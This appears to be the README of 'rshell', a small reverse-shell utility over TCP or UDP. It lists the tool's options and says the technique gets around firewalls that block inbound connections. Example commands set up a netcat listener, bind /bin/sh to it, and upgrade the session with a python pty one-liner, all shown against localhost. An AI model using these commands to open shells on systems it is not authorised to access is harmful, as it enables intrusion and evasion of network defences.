A simple reverse shell over TCP or UDP.
A reverse shell is a network tool that grants shell access to a remote host. As opposed to other remote login tools such as telnet and ssh, a reverse shell is initiated by the remote host. This technique of connecting outbound from the remote network allows for circumvention of firewalls that are configured to block inbound connections only.
usage: rshell [options] <host> <port> [peer]
arguments:
host : mandatory specific host to bind or connect (could be "any" in listen mode)
port : mandatory specific port to bind or connect
peer : optional peer address to accept connection from in listen mode
options:
-4 : use IPv4 socket
-6 : use IPv6 socket
-f : foreground mode (eg: no fork)
-h : display this and exit
-l : listen mode
-s <shell> : give the path shell (default: /bin/sh)
-u : use an UDP socket
-v : display version and exit
On the 'client' side, we create the listener :
nc -lp 4445
or
./rshell -l 127.0.0.1 4445
On the 'server' side, we bind the shell to the listener :
./rshell 127.0.0.1 4445
Once you have the shell, if you want to be more confortable :
python -c 'import pty; pty.spawn("/bin/bash")'